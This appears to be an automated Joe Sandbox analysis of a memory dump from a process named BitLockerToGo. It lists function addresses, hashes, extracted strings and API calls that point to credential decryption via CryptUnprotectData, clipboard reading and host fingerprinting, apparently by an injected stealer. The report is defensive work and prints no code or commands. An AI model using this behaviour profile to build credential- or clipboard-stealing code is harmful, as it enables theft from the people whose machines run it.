Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2RPJ
API String ID: 0-955047986
Opcode ID: a451a0f4f10be25a26a1581560be9f4ea330d9a5169667080125dd064ef9e24c
Instruction ID: fa6c8f99c14d54747c2088235f7f1d5ffead400a833c209e893dfd87e563c843
Opcode Fuzzy Hash: a451a0f4f10be25a26a1581560be9f4ea330d9a5169667080125dd064ef9e24c
Instruction Fuzzy Hash: B7E161701047418BD729CF29C060766FBE2FF5A304F28869DD4DA8B796DB39E846CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B67059 Relevance: 3.7, APIs: 2, Instructions: 742
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e890100a0367886a066852cef0f2f4885c04973f1d95f34804059071fa2ef3ff
Instruction ID: ce0befb85bee75011b7f08d564490a9b27877c2205805bd0cede7cbcc371199a
Opcode Fuzzy Hash: e890100a0367886a066852cef0f2f4885c04973f1d95f34804059071fa2ef3ff
Instruction Fuzzy Hash: 76326C701087828FE725CF28C490B62BBE1FF16308F1845DDD4DA9B792D779A846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B66948 Relevance: 3.7, APIs: 2, Instructions: 676COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 00B674A2
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 00B6759F

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 64b98ceab68201d5ef3882234b58a1b50ae0f26fee36fac752bffc4920ae645c
Instruction ID: 4b510baec581f1b6a092e71b59d1ac369a5ed344a2f446518f8a6e8650fa13a0
Opcode Fuzzy Hash: 64b98ceab68201d5ef3882234b58a1b50ae0f26fee36fac752bffc4920ae645c
Instruction Fuzzy Hash: 9C325E701087828FE725CF29C490B66FBE1FF5A304F18469DD4DA8B792D739A845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B7B550 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00B7E58C,005C003F,00000006,00120089,?,00000018,7452,00000000,00B556BE), ref: 00B7B576

Strings

7452, xrefs: 00B7B564

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: 7452
API String ID: 2994545307-87867774
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B6112E Relevance: 2.9, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B61518
onqp, xrefs: 00B613C8

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp$onqp
API String ID: 0-2464386876
Opcode ID: 1231bca67b77f94d90a7bda12a03fac19c79d2b88442b7b1ce9250240b4852d4
Instruction ID: 77de7059876c29cb799efa6e59c01ff46748ec087a9abb738d7a3c84727d9677
Opcode Fuzzy Hash: 1231bca67b77f94d90a7bda12a03fac19c79d2b88442b7b1ce9250240b4852d4
Instruction Fuzzy Hash: EDC19AB5508341DFD714CF28D894B2BBBE1FB89348F18896DF595972A1DB38D801CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B68410 Relevance: 1.9, APIs: 1, Instructions: 387COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00B6852B

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 5fba24f33653dbb77bb0c38418071c809d4569ee95b84ae421bf962429323457
Instruction ID: 9d7e722f7a47022fdaedd2590d60c26800d9537a8ce6652568016f3252a9e72b
Opcode Fuzzy Hash: 5fba24f33653dbb77bb0c38418071c809d4569ee95b84ae421bf962429323457
Instruction Fuzzy Hash: BDC17E701047418BD729CF29C0A0766FBF1FF5A304F28869DD4DA8B796DB39A806CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00B618A0 Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B61918

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: onqp
API String ID: 2994545307-1718216680
Opcode ID: 14872634707b3b1da796a9c559439c92e0569e00c627ae202105143c252c9dc7
Instruction ID: d6f1cb9dd6cbeedb8ebcec5f54f1c393a09a269637f2d2b1f05bc9bfc0843228
Opcode Fuzzy Hash: 14872634707b3b1da796a9c559439c92e0569e00c627ae202105143c252c9dc7
Instruction Fuzzy Hash: 83C1CFB1A093018FD714CF18C89072BB7E2EB94364F2C8DADE5959B391E379D805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B56682 Relevance: 1.6, APIs: 1, Instructions: 124encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00B792D0: RtlAllocateHeap.NTDLL(?,00000000,00B49DBE), ref: 00B79367

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B5698E

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: AllocateCryptDataHeapUnprotect
String ID:
API String ID: 1063247315-0
Opcode ID: c64da3c08ba7607ccfa0d46c020622f060337d983247062bf8978c514f72e87c
Instruction ID: cb99e21d057348e0e07a88f78dccb3a873e0d4774dc964b4b04c02b99ce7d905
Opcode Fuzzy Hash: c64da3c08ba7607ccfa0d46c020622f060337d983247062bf8978c514f72e87c
Instruction Fuzzy Hash: 2B41A4B1508341CFD724CF28C491B9BF7E1AFD9305F5489ADE9A987352D631D80ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 00B7EE70 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

7452, xrefs: 00B7EED8

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 0d09f2cd20b21646dd862f10fc1f6646117a53fc768a97caa638245cca3621f6
Instruction ID: 775aca73524b047c854135d1b496fe4cf8eb4e897762944300fe196cca719a2d
Opcode Fuzzy Hash: 0d09f2cd20b21646dd862f10fc1f6646117a53fc768a97caa638245cca3621f6
Instruction Fuzzy Hash: 0291A8726043028FD714CF14C890B6BB7E2FF88754F5589ACE9A96B2A1C731EC15CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00B7E8D0 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

7452, xrefs: 00B7E938

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 29242615a0ffc399b5ca5217b423e32f3a92f58dad26266d4fe6ca57ac65bc2f
Instruction ID: 15f9a8c638c1cd3d3bf797e6598f4a3d324f2af8048f860d4ce8650a0e7af2a2
Opcode Fuzzy Hash: 29242615a0ffc399b5ca5217b423e32f3a92f58dad26266d4fe6ca57ac65bc2f
Instruction Fuzzy Hash: CD519C712083019BE714CF14C890B6FBBE2FFC8758F54899CE5A99B2A0D774E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C461 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B7C4C1

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: onqp
API String ID: 2994545307-1718216680
Opcode ID: a0304caf624af28d615fedd5aacdc0a54cc47135203465a9011c37baaa5c2172
Instruction ID: 9b2b0e965af4f6b985691da2defd861372baf382fad06e18aafb3fb6e9f864e6
Opcode Fuzzy Hash: a0304caf624af28d615fedd5aacdc0a54cc47135203465a9011c37baaa5c2172
Instruction Fuzzy Hash: CD3156702007009BD7288F19C8A5F3BBBE2EB95314F24CA5DC4AB47AA6D771E801CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C615 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B7C64A

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: f1fd89c599be3e21d6a9fe03786afec3d87747569bab78ccba91e7b4ab937dd7
Instruction ID: 277353b6026c42e613cb3ef2e735544ea64710cb57d1112624d04cebc4e21c51
Opcode Fuzzy Hash: f1fd89c599be3e21d6a9fe03786afec3d87747569bab78ccba91e7b4ab937dd7
Instruction Fuzzy Hash: EB211474200B408FD728CF15C4A0B37BBE2EB89705F14DA5DC4AB4BAA2D775E805DB84

Uniqueness

Uniqueness Score: -1.00%

Function 00B64478 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 795bed775baa9af25054b7c193971f33981846405ef80b4b32e2be0b87d08ae1
Instruction ID: 67dbcdc20f03377e4f160e420b4a6cda8d3be6f8ee381ba0b8c2673be2ca5153
Opcode Fuzzy Hash: 795bed775baa9af25054b7c193971f33981846405ef80b4b32e2be0b87d08ae1
Instruction Fuzzy Hash: 85B11675600B008FD7298F28C8A1B62B7F1FF56314F18899CD8968F7A5E779E845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B42D10 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 576c0ae6687dff5e311bec4c9a581b8ed205b3a3ae73262ddb264224cba10816
Instruction ID: 6aedebc24f44832b0470b5038488f2752ce351b7166128ebcbf46fa1f0323847
Opcode Fuzzy Hash: 576c0ae6687dff5e311bec4c9a581b8ed205b3a3ae73262ddb264224cba10816
Instruction Fuzzy Hash: DD712A319086429FD7118B28CC4536ABBE1EF96300FD885B9F4858B392D774DA1AF791

Uniqueness

Uniqueness Score: -1.00%

Function 00B70169 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4400ebbab532471ef92c4084a8fe45c8aca940183fdcb897a901e7de0b76610
Instruction ID: 102bf88fe8bde25c9dd02863f0ddeab162f6b2bf36d4e52cd6232c43838b5ed1
Opcode Fuzzy Hash: a4400ebbab532471ef92c4084a8fe45c8aca940183fdcb897a901e7de0b76610
Instruction Fuzzy Hash: 10F015B4105301CFC714EF28C884B1BBBE4FB48344F00880CE99A8B364CB70AA40CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E0C0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00B5E1AD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00B5E1D8

Strings

~H, xrefs: 00B5E373
=Y,[, xrefs: 00B5E0DF
je, xrefs: 00B5E10B
1mo, xrefs: 00B5E0F7
iWk, xrefs: 00B5E0FF
3]!_, xrefs: 00B5E0D7

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: iWk$1mo$3]!_$=Y,[$je$~H
API String ID: 237503144-1999540153
Opcode ID: 4c1f094744e774eb7e410fdca2363f24d7e22e664914d34f35786bceea125eb7
Instruction ID: 78882bcb12c5ef422fe47653efae406b9630a11e06ea4c89a2c608f24cd5e8c5
Opcode Fuzzy Hash: 4c1f094744e774eb7e410fdca2363f24d7e22e664914d34f35786bceea125eb7
Instruction Fuzzy Hash: 01618CB12083518FE328CF15C891BABB7E5EFC5714F014A5CE8E55B281D7B49A09CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00B5EAD0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 00B5EC1D
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 00B5EC4C

Strings

aZ, xrefs: 00B5EC5A
TF, xrefs: 00B5EC6A
JW, xrefs: 00B5ECEC, 00B5ECF0
)qs, xrefs: 00B5EB4F
ru, xrefs: 00B5EB5B

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: )qs$JW$TF$aZ$ru
API String ID: 237503144-2698335981
Opcode ID: 80a451be2c4520c818f18a5a34ce3af7d7fc349180d92a2aa5e73b985f941771
Instruction ID: 7f106f197531a65a324fde6b31aec6389093e93945c48e853e6a50eeb3bea3d3
Opcode Fuzzy Hash: 80a451be2c4520c818f18a5a34ce3af7d7fc349180d92a2aa5e73b985f941771
Instruction Fuzzy Hash: B75152B1108342AFE318CF04C894B5FBBE5EB85354F50895CF8A55B391D735DA4ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B55BC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00B55BFD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00B55C2E

Strings

4U+W, xrefs: 00B55C4C

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 4U+W
API String ID: 237503144-3070584207
Opcode ID: 2bc4bdf70ab46af5c0a1dcfa4e0786e8058f94588380613141d382d036c51534
Instruction ID: 8df989b62381baf24b12c6177b0f3b2c2300afd7a4170c054574fe395f71cac1
Opcode Fuzzy Hash: 2bc4bdf70ab46af5c0a1dcfa4e0786e8058f94588380613141d382d036c51534
Instruction Fuzzy Hash: FB51DD712083409BD7348F14C8A1BABB7F5EF86315F00895CF89A8B381D774A809CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B491D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00B4923C

Strings

of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in, xrefs: 00B491FF

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: ExitProcess
String ID: of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in
API String ID: 621844428-2804141084
Opcode ID: 3805a73ce26e49f182d474fbb63c06281c422d97eaa83723aff8c41d45e8db90
Instruction ID: d683285cb6dc1820b1100dfed09879edc921dc89d528a4db5643011cd02bab3f
Opcode Fuzzy Hash: 3805a73ce26e49f182d474fbb63c06281c422d97eaa83723aff8c41d45e8db90
Instruction Fuzzy Hash: A5F0B470C28214B6CB203BB4AA8A66F7BE8AF11340F0104D6EC4652111EAB04704F663

Uniqueness

Uniqueness Score: -1.00%

Function 00B585D0 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00B5860A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00B58638

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 35b815a7acfcaeaf0079caabbfc4a356eef8558a29889f92718a0a5028d1ed1a
Instruction ID: 3f6b97d00c2080434c19fae1a4c10e9fae3fa5e091bca20449e8ee7bb74cae11
Opcode Fuzzy Hash: 35b815a7acfcaeaf0079caabbfc4a356eef8558a29889f92718a0a5028d1ed1a
Instruction Fuzzy Hash: DB01D272540604BBE3109B14CC86F6777ACEB85725F448648FE26D72D1EB30A908C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 00B7B22D Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 537bbc40dbeab4fdfabedf6b45e189620c8e943a51ae8f1acc054f2de597fcb0
Instruction ID: d7ebd76b692902f1c97385ae2b69b89b54ca6d20083e9a9939e00b6515579421
Opcode Fuzzy Hash: 537bbc40dbeab4fdfabedf6b45e189620c8e943a51ae8f1acc054f2de597fcb0
Instruction Fuzzy Hash: 7D4137B0519341AFC704DF11D8A4A2EBBE1FFC5345F14C95EE4AA5B2A5EB308905CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00B7AD26 Relevance: 1.6, APIs: 1, Instructions: 67libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00B7AE1E

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 91dfb5b80689b97638f285cf3b99eaea4907938a3e28ec1bf641153d41fbfd11
Instruction ID: ca71ccdd581b8abf37718d04408eb50604fdac35469c289981159928cc64acae
Opcode Fuzzy Hash: 91dfb5b80689b97638f285cf3b99eaea4907938a3e28ec1bf641153d41fbfd11
Instruction Fuzzy Hash: E1215EB05193419FD704DF11D894A2EBBE2FFC4345F14C92EE4AA57265EB309905CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00B7AC2D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00B7ACDB

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a9c2fa109e3b2e7af2b1e1a5cf55db5cdaa33d273371fe7a21da77901e9d028e
Instruction ID: 4d91118ee7032f9a38564ebf8d2e5432f9e7a67b9b74780719e7e5fcb6aa0f88
Opcode Fuzzy Hash: a9c2fa109e3b2e7af2b1e1a5cf55db5cdaa33d273371fe7a21da77901e9d028e
Instruction Fuzzy Hash: D811E07024C3409BD748DF10D4A172FBBE2EFE9319F248A0DE4A907395D7359606CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00B7B424 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00B7B498

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0e9cad60f508f053d252ed167815f256aff2aa28443e5f24fba59d3d47c940d5
Instruction ID: b528dd768e39735fb71ff07c72a2cbef2d5f452eed2e455b47a65a1f44b958f6
Opcode Fuzzy Hash: 0e9cad60f508f053d252ed167815f256aff2aa28443e5f24fba59d3d47c940d5
Instruction Fuzzy Hash: D7115475A097808FD7128F29DCD1680BFB1EF16309709059AD5E5C7663C324B85DDB20

Uniqueness

Uniqueness Score: -1.00%

Function 00B793AB Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00B79456

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a8d8eb9913ae70f6f96edb3c3e476da9886b0da08698f459e47cd31b21597006
Instruction ID: f226df3982c6192944114c87f54f20d8a364a4fcf68aa004443d08351abef862
Opcode Fuzzy Hash: a8d8eb9913ae70f6f96edb3c3e476da9886b0da08698f459e47cd31b21597006
Instruction Fuzzy Hash: FF1118706093019FE708CF04D4A476BBBE2FBC5319F24CA5DE4A907681C739D906CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00B792D0 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00B49DBE), ref: 00B79367

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 96e4ab51194dd26e5608efaa05673d353723089133fc2d7b5f3c1f5f1542b425
Instruction ID: 0cfa985fde45dbe17438889083d64618fa3625866dc067e1c08f26b1e048950d
Opcode Fuzzy Hash: 96e4ab51194dd26e5608efaa05673d353723089133fc2d7b5f3c1f5f1542b425
Instruction Fuzzy Hash: DE1135705083019FD708CF14D8A0B6FBBA2FBC5329F248A5DE8A907691D7319A15CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00B6B978 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00B6B987

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 1c6a9c079ec80f184d48b603204c1a94e07e9a41d3401c868623e59ff2fe0a26
Instruction ID: 558d10fcbf83019f15badfa33b32e76a9d1c36f6d0b60d132eff80ae39983c67
Opcode Fuzzy Hash: 1c6a9c079ec80f184d48b603204c1a94e07e9a41d3401c868623e59ff2fe0a26
Instruction Fuzzy Hash: 8001A2B4559342CFD364DF28C598B5ABBE1FB88304F11892DE99987390DB74A948CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00B77581 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00B775B6

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 9ff2c08333f088b0b52da8e7b3411859b5fb6682f97e32221a689dbab8bdd85c
Instruction ID: 7fddcf41378b9af9e0524d966ef23e67667c21288163fe467c405f1f6279efd1
Opcode Fuzzy Hash: 9ff2c08333f088b0b52da8e7b3411859b5fb6682f97e32221a689dbab8bdd85c
Instruction Fuzzy Hash: 0EF065357893C06FE71647306C62F413B648F52A44F1D0497B652EA0E3D958651AD725

Uniqueness

Uniqueness Score: -1.00%

Function 00B7AA87 Relevance: 1.5, APIs: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00B7AAB7

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7cc3b78fbd7001923a55a2c25e976ba6e979a5e52a5186c900fa854552c33852
Instruction ID: 8177e59709c330e27cde357722e6541133195bf0c8c6bc3cd95601a3e6910416
Opcode Fuzzy Hash: 7cc3b78fbd7001923a55a2c25e976ba6e979a5e52a5186c900fa854552c33852
Instruction Fuzzy Hash: 64D05EB114A5068FA384DB30AE51C2E36E5FEC0380315C1AAC01783266EF30C402CBB3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B70520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 00B7059B
OpenClipboard.USER32 ref: 00B705AF
GetClipboardData.USER32 ref: 00B705CE
CloseClipboard.USER32 ref: 00B7070F

Strings

:, xrefs: 00B70654
9, xrefs: 00B70644
;, xrefs: 00B7064C
7, xrefs: 00B70658
8, xrefs: 00B70660

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

